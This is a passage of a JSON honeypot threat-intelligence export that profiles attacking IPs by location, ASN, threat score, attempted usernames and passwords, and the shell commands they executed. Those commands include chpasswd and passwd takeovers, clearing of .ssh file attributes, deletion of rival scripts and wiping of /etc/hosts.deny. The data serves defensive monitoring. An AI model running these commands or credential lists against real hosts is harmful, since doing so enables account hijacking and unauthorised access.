        "echo \"redis\\ncQjZFvgx6POw\\ncQjZFvgx6POw\\n\"|passwd",
        "echo \"root:U1KXOrUfzKeQ\"|chpasswd|bash",
        "echo -e \"123456\\nLX5D1tHryAKP\\nLX5D1tHryAKP\"|passwd|bash",
        "echo -e \"redis\\ncQjZFvgx6POw\\ncQjZFvgx6POw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Guayaquil",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 446,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:49:08.033000+00:00",
        "last_seen_30d": "2026-05-28T19:15:52.363000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 85
      }
    },
    "182.253.168.47": {
      "attack_count": 288,
      "first_seen": "2026-05-05T05:13:33.898Z",
      "last_seen": "2026-05-05T05:47:32.695Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "345gs5662d34",
        "root",
        "administrateur",
        "administrator",
        "ali",
        "appuser",
        "bitrix",
        "dbadmin",
        "etserver",
        "mc",
        "odoo",
        "odoo13",
        "server",
        "teamspeak",
        "test",
        "test123",
        "tester",
        "testing"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "asdfghjkl",
        "!@#QWE123qwe",
        "!QAZ@WSX#EDC",
        "0000",
        "1234",
        "12341234",
        "12345",
        "1234567890",
        "123bitrix",
        "1q2w3e",
        "9379992",
        "P@ssw0rd123",
        "Ubuntu1",
        "abc123456789",
        "admin.123",
        "deploy12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"9379992\\nWg2xuomPneSl\\nWg2xuomPneSl\\n\"|passwd",
        "echo \"deploy12345678\\n5a9vJfhToFAD\\n5a9vJfhToFAD\\n\"|passwd",
        "echo -e \"9379992\\nWg2xuomPneSl\\nWg2xuomPneSl\"|passwd|bash",
        "echo -e \"deploy12345678\\n5a9vJfhToFAD\\n5a9vJfhToFAD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "North Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:13:33.898000+00:00",
        "last_seen_30d": "2026-05-05T05:48:37.267000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "212.192.240.126": {
      "attack_count": 276,
      "first_seen": "2026-05-05T00:23:07.206Z",
      "last_seen": "2026-05-31T17:50:36.304Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.1,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:23:07.206000+00:00",
        "last_seen_30d": "2026-05-31T17:51:38.344000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 139
      }
    },
    "163.7.0.179": {
      "attack_count": 252,
      "first_seen": "2026-05-23T10:57:06.301Z",
      "last_seen": "2026-05-24T12:33:18.529Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "astra",
        "ismail",
        "ram"
      ],
      "passwords_attempted": [
        "123",
        "123!@#",
        "123QWEasdZXC",
        "232323",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdasd123",
        "Qweasd123456",
        "Qwer123123",
        "Qwer@2025",
        "Qwertyu123",
        "a123456a",
        "astra",
        "happy123",
        "ismail123",
        "qwe.123qwe",
        "qweasd123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:M4nBZm5omlMH\"|chpasswd|bash",
        "echo \"root:vyGWSR2MbGi4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:57:06.301000+00:00",
        "last_seen_30d": "2026-05-24T12:34:23.430000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 86
      }
    },
    "146.190.154.85": {
      "attack_count": 241,
      "first_seen": "2026-05-20T01:15:36.298Z",
      "last_seen": "2026-05-20T01:43:37.394Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz!QAZ2wsx",
        "1z2x3c4v5b6n",
        "Admin@123!@#",
        "P@ssw0rd2016",
        "Qaz1234",
        "adminfei",
        "angel1",
        "bitch",
        "claude",
        "dangerous",
        "deployer",
        "franco",
        "gerald",
        "ingerul123",
        "maryam",
        "mellon",
        "oana",
        "pickwick"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6bcjtO0FIx3C\"|chpasswd|bash",
        "echo \"root:zNnDH0WFbAXY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:15:36.298000+00:00",
        "last_seen_30d": "2026-05-20T01:44:47.337000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "166.62.80.68": {
      "attack_count": 236,
      "first_seen": "2026-05-17T20:29:04.685Z",
      "last_seen": "2026-05-17T20:59:08.873Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111a",
        "1234aaaa",
        "1234abcd",
        "2063",
        "Orange@123",
        "Os3leni*",
        "Root123",
        "bigdata",
        "config",
        "csilla",
        "flash",
        "gmail",
        "iskandar",
        "lager",
        "mcs",
        "nintendo",
        "optic",
        "prueba123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OWXkoJiCTzZK\"|chpasswd|bash",
        "echo \"root:kuWDUHA95tuT\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:29:04.685000+00:00",
        "last_seen_30d": "2026-05-17T21:00:14.977000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "76.79.213.69": {
      "attack_count": 219,
      "first_seen": "2026-05-08T06:40:21.450Z",
      "last_seen": "2026-05-08T07:19:33.264Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "root",
        "user",
        "labuser1",
        "mysql",
        "testing",
        "345gs5662d34",
        "aamir",
        "administrator",
        "apiadmin",
        "deploy",
        "git",
        "odoo",
        "tempuser",
        "test",
        "tester"
      ],
      "passwords_attempted": [
        "#admin123",
        "0123456789",
        "12345",
        "12345678",
        "123qwe!@#",
        "1qaz@WSX",
        "2welcome",
        "31415926",
        "3245gs5662d34",
        "345gs5662d34",
        "3735566",
        "654321",
        "aamir",
        "abc123",
        "admin2020",
        "apiadmin",
        "asdf1234",
        "github",
        "labuser1",
        "mi1lsug1m3r3utat"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"labuser1\\nLvx2AuWsJQ78\\nLvx2AuWsJQ78\\n\"|passwd",
        "echo -e \"labuser1\\nLvx2AuWsJQ78\\nLvx2AuWsJQ78\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:40:21.450000+00:00",
        "last_seen_30d": "2026-05-08T07:20:38.059000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "20.12.41.6": {
      "attack_count": 218,
      "first_seen": "2026-05-08T03:26:37.773Z",
      "last_seen": "2026-05-08T04:01:25.059Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "345gs5662d34",
        "debian",
        "debianuser",
        "dev",
        "developer",
        "es",
        "ftpuser",
        "gitlab-runner",
        "myuser",
        "oracle",
        "postgres",
        "test01",
        "test_dw",
        "testuser5",
        "ts3user"
      ],
      "passwords_attempted": [
        "!@#123",
        "112233",
        "1234",
        "1qazXSW@",
        "3245gs5662d34",
        "345gs5662d34",
        "@#$%^&*!()",
        "Pa$$w0rd",
        "Password1",
        "Qweasd123",
        "Root123",
        "abc123@",
        "admin!@#456",
        "demotest",
        "devpass",
        "es12345",
        "mypass",
        "mysql123",
        "novoadmin",
        "pass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iUhaQimVDLIa\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:26:37.773000+00:00",
        "last_seen_30d": "2026-05-08T04:02:29.124000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "42.243.83.245": {
      "attack_count": 218,
      "first_seen": "2026-05-20T18:18:45.427Z",
      "last_seen": "2026-05-21T06:32:36.148Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:18:45.427000+00:00",
        "last_seen_30d": "2026-05-21T06:33:39.131000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 110
      }
    },
    "2.26.62.249": {
      "attack_count": 216,
      "first_seen": "2026-05-27T23:32:55.595Z",
      "last_seen": "2026-05-28T00:03:17.733Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "build",
        "park",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1988",
        "Abcd123456",
        "Reset@123",
        "Test123!!",
        "Test123$",
        "abc123xyz",
        "admin8520",
        "asd.1234",
        "build",
        "changeme",
        "fjbdfdjkdsfs541544",
        "lb123456.",
        "m12345678",
        "park",
        "zx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XsP51K6OTGsK\"|chpasswd|bash",
        "echo \"root:jIaNpyk2fyLM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:32:55.595000+00:00",
        "last_seen_30d": "2026-05-28T00:04:28.008000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 45
      }
    },
    "180.191.16.24": {
      "attack_count": 196,
      "first_seen": "2026-05-22T09:51:57.605Z",
      "last_seen": "2026-05-22T19:55:07.058Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:51:57.605000+00:00",
        "last_seen_30d": "2026-05-22T19:56:13.907000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 99
      }
    },
    "118.39.234.65": {
      "attack_count": 192,
      "first_seen": "2026-05-29T06:13:15.307Z",
      "last_seen": "2026-05-29T06:37:38.441Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "jenkins",
        "ubuntu",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456qwerty",
        "123qweASD",
        "Aa987654321",
        "Jenkins@123",
        "Linux@123",
        "Qwerty654321",
        "Rr@123456",
        "Ubuntu@2024",
        "Vpn@2026",
        "dupa123",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\n1iWuzxCku8aw\\n1iWuzxCku8aw\\n\"|passwd",
        "echo \"root:wew3hbDA2mtH\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\n1iWuzxCku8aw\\n1iWuzxCku8aw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:13:15.307000+00:00",
        "last_seen_30d": "2026-05-29T06:38:45.795000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 34
      }
    },
    "151.95.83.235": {
      "attack_count": 184,
      "first_seen": "2026-05-16T23:45:46.764Z",
      "last_seen": "2026-05-17T00:11:48.232Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "webdeploy",
        "345gs5662d34",
        "admin",
        "alex",
        "andrey",
        "erpnext",
        "max",
        "runner",
        "trader",
        "ubuntu",
        "vpn",
        "wafer",
        "weblogic",
        "yafei",
        "zf"
      ],
      "passwords_attempted": [
        "123456",
        "Admin123!",
        "0708228AsBs!",
        "1234",
        "12345678",
        "123456789",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456s",
        "Abc123$%^",
        "Q1w2e3r4t5",
        "Ubuntu2026",
        "abcd1234",
        "andrey",
        "erpnext",
        "fai",
        "root#123",
        "wafer123",
        "warnightkardesim"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"webdeploy\\nLku0gngSDkGO\\nLku0gngSDkGO\\n\"|passwd",
        "echo -e \"webdeploy\\nLku0gngSDkGO\\nLku0gngSDkGO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Venice",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:45:46.764000+00:00",
        "last_seen_30d": "2026-05-17T00:12:51.587000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 55
      }
    },
    "107.170.247.81": {
      "attack_count": 168,
      "first_seen": "2026-05-08T15:14:13.778Z",
      "last_seen": "2026-05-30T10:19:48.368Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 52.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:14:13.778000+00:00",
        "last_seen_30d": "2026-05-30T10:20:53.783000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
